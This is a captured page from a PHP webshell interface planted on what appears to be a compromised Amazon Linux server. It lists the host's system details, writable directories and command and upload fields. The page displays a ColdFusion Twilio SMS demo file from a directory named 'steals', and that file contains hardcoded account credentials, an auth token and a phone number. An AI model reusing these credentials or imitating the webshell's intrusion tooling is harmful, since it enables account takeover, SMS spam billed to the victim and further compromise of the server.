403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/public_html/steals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/public_html/steals/twilio.cfm
<!---
	Set the Twilio Accound credentials - this will be needed to
	make HTTP posts to the Twilio REST web service. Your username is
	your "Account SID" and your password is your "Auth Token" which
	can be obtained on the dashboard.
--->
<cfset twilioUsername = "[email protected]" />
<cfset twilioPassword = "9q5AG*uZ!6" />
<cfset twilioAccount = "ACf4a1246a9b013cda16773fc59b8e9b5f" />
<cfset twilioToken = "9543172c9eaaa2da19edb514f9b06402" />

<!---
	Set the outgoing phone number. For security / spamming reasons,
	this FROM number must be one of the numbers you rented from
	the Twilio service. Otherwise, you'd be able to spoof other
	people's phone numbers.
--->
<cfset twilioFrom = "646-846-4325" />

<!---
	Define the Twilio SMS REST resource. This can be in either
	plain HTTP or Secure HTTPS (the extra security is up to you).
--->
<cfset twilioSMSResource = (
"http://api.twilio.com/2010-04-01" &
	"/Accounts/#twilioAccount#:#twilioToken#/SMS/Messages"
	) />


<!--- ----------------------------------------------------- --->
<!--- ----------------------------------------------------- --->


<!--- Param the form values. --->
<cfparam name="form.to" type="string" default="" />
<cfparam name="form.message" type="string" default="" />


<!---
	Check to see if we have enough information to send out the
	SMS text message. Twilio will accept phone numbers with any kind
	of formatting (including or excluding the optional +1 for US
	phone numbers). But, for our purposes, we are going to only
	accept 10-digit phone numbers.
--->
<cfif (
	reFind( "^\d{10}$", form.to ) &&
	len( form.message )
	)>

	<!---
		Post our outgoing SMS text message request to the Twilio
		SMS REST resource.

		NOTE: The Form field names ***ARE*** case SENSITIVE. They
		must all be in initial-camel-case according to the
		documentation. If they are not, the REST web service will
		not see them in the FORM post.

		NOTE: By default, the Twilio response will be an XML packet.
		You can create a JSON response by appending ".json" to the
		Twilio resource URL.
	--->
	<cfhttp
		result="post"
		method="post"
		charset="utf-8"

		url="#twilioSMSResource#"
		username="#twilioUsername#"
		password="#twilioPassword#">

		<!--- Post the FROM number. --->
		<cfhttpparam
			type="formfield"
			name="From"
			value="#twilioFrom#"
			/>

		<!---
			Post the TO number. This is going to be recipient of
			our outgoing text message.
		--->
		<cfhttpparam
			type="formfield"
			name="To"
			value="#form.to#"
			/>

		<!--- Post the SMS text message body. --->
		<cfhttpparam
			type="formfield"
			name="Body"
			value="#form.message#"
			/>

		<!---
			Post the callback URL for the Twilio to use once the SMS
			message is sent. When you post an SMS request, it gets
			queued on the Twilio servers. Once it gets processed,
			this URL (StatusCallback) will be POSTed a resposne.
		--->
		<cfhttpparam
			type="formfield"
			name="StatusCallback"
			value="http://www.bennadel.com/......./callback.cfm"
			/>

	</cfhttp>


	<!---
		The CFHTTP response should be returning a 201 status code.
		This indicates that the request was successful and that the
		SMS Message was created. A 201 status code includes a
		"location" for said SMS text message resource in the response
		header.

		[CFHTTP Response].responseHeader.location

		Example:
		/2008-08-01/Accounts/{SID}/SMS/Messages/{NEW-SMS-RECORD-ID}

		This is the same as the response we got back in the
		fileContent, however its content will be updated once the
		SMS request has been fully processed.
	--->


	<!--- Redirect the user back to the form page. --->
	<cflocation
		url="#cgi.script_name#?success"
		addtoken="false"
		/>

</cfif>


<!--- ----------------------------------------------------- --->
<!--- ----------------------------------------------------- --->


<cfoutput>

	<!DOCTYPE HTML >
	<html>
	<head>
		<title>Sending SMS Text Messages With Twilio And ColdFusion</title>
	</head>
	<body>

		<h1>
			Sending SMS Text Messages With Twilio And ColdFusion
		</h1>

		<!--- Check to see if we have the success flag. --->
		<cfif structKeyExists( url, "success" )>

			<p>
				<strong>Your SMS text message has been sent!</strong>
			</p>

		</cfif>

		<form method="post" action="#cgi.script_name#">

			<p>
				From:
				<strong>Twilio</strong> -
				<em>(rented Phone Number)</em>.
			</p>

			<p>
				To:<br />
				<input type="text" name="to" size="20" />
			</p>

			<p>
				SMS Text Message:<br />
				<input type="text" name="message" size="70" maxlength="140" />
			</p>

			<p>
				<input type="submit" value="Send SMS Message" />
			</p>

		</form>

	</body>
	</html>

</cfoutput>

Youez - 2016 - github.com/yon3zu
LinuXploit